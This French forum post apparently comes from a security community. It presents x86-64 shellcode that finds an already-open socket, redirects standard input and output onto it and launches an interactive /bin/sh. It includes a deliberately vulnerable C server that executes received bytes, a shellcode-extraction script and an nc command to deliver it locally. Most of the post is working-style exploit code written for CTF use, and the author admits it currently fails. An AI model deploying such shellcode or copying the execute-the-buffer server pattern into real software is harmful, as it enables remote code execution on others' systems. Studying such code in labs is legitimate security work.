[shellcode] Reverse shell over reused socket

[ark]

Yop à tous,

Bon, alors je fais ce post pour deux raisons. La première, c'est que j'ai du code potentiellement intéressant à vous montrer, la deuxième c'est parce qu'il ne marche pas et que j'ai pas franchement idée de pourquoi... x)

Donc voila, je m'explique. Un jour en CTF, il a fallut que je réutilise une socket déjà existante pour me faire spawn un reverse shell. Jusque la tout va bien, il n'y avait pas besoin d'ecrire un shellcode pour ce genre de cas puisqu'on avait déjà accès à un pseudo shell. Bref, le fait est que du coup je me suis dit que ça pourrait être pas mal d'avoir un shellcode qui retrouve la socket avec laquelle on est connectés afin de bind un reverse shell dessus, c'est plutot discret puisque la socket est ouverte de manière légitime.

Pour commencer, imaginons un serveur basique en C, qui va nous servir pour les tests. Serveur simple qui va récupérer le buffer et va l'executer.

Voici son code:

Code C :



#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in.h>

int main(int argc, char *argv[]) {

  char buf[2048];
  int sock, clisock;
  struct sockaddr_in addr;
  socklen_t addrlen;
  unsigned short port = 1024;

  if (argc == 2)
    port = atoi(argv[1]);

  /* Let's initialize our socket */
  addrlen = (socklen_t)sizeof(struct sockaddr_in);
  sock = socket(AF_INET, SOCK_STREAM, 0);
  if (sock < 0) {
    perror("socket");
    return 1;
  }
  addr.sin_addr.s_addr = INADDR_ANY;
  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
    perror("bind");
    return 1;
  }
  if (listen(sock, 5) == -1) {
    perror("listen");
    return 1;
  }

  clisock = accept(sock, (struct sockaddr *)&addr, &addrlen);
  read(clisock, buf, 2048);

  ((void (*)(void))buf)(); /* On exec le buffer */

  return 0;
}
 

Après la compilation, pensez à passer un coup d'execstack sur le binaire. En effet, nous récupérons l'entrée utilisateur dans un buffer situé sur la stack, nous allons donc éxecuter du code sur la stack, il faut donc la rendre executable.

Okay, maintenant qu'on a notre serveur, voici le code du shellcode : (j'éspère qu'il est suffisamment commenté)

Code ASM :


BITS 64
section .text

    global _start

_start:
    call start

        ; This is a trick to have our string in the .text section
        ; We need it because we wont have our .data sections load when executing our shellcode

    db "/bin/sh", 0, 0
    db "-i", 0
    align 4

start:
    mov rdi, 2         ; let's start with fd 3, because 0 - 2 are usualy used for stdio

    xor rax, rax
    inc rax            ; set rax to a non-zero value (we need that for the condition at check_fd_loop_end)

    jmp check_fd_loop_end

check_fd_loop_start:
    inc rdi
    mov r9, rdi

    mov rax, 72        ; call fcntl
    mov rsi, 1        ; use flag F_GETFD // This does detect if the fd is valid, i need to find something to be sure it's our socket
    syscall

    mov rdi, r9

check_fd_loop_end:
    cmp rax, 0        ; if fcntl() returned 0, we get a valid fd
    jne check_fd_loop_start

;;; Let's dup2() to bind filedescriptors to the socket

    mov rsi, 3
dup_loop:
    mov rax, 33
    dec rsi
    syscall
    test rsi, rsi
    jnz dup_loop

;;; We can now exec our shell
shell:
    mov rdi, [rsp]          ; pointer to the first string "/bin/sh", 0
    lea rax, [rdi + 9]
    mov [rsp + 8], rax
    lea rsi, [rsp]          ; pointer to begining of the tab
    mov qword [rsp + 0x10], 0
    mov rdx, 0
    mov rax, 59
    syscall
 

Voila, voila.

Bon, pour exec le tout, j'ai trouvé un tool (que je n'ai pas sur le pc depuis lequel je post, je vous le filerai plus tard) qui get le shellcode depuis un objdump du fichier compilé, et du coup je fais juste un :

Code BASH :


echo -e `getsc shellcode` | nc localhost 1024
 

EDIT: Voilà le code de du script getsc

Code BASH :


#!/bin/sh
for i in $(objdump -d $1 -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
 

Bien entendu ce, après avoir lancé le serveur sur le port 1024.

Le problème de ce code, c'est que mon shell s'execute bien, mais je ne le récupère pas à la fin... Peut etre que le fait de bind les fds standard 0, 1 et 2 sur une socket n'est pas valide et du coup ne fonctionne pas, je ne sais pas trop... En tout cas si je vire les dup2() ca spawn bien un shell, mais coté serveur du coup, pas très utile xD Donc si vous avez une idée d'où ça peut venir, je suis preneur !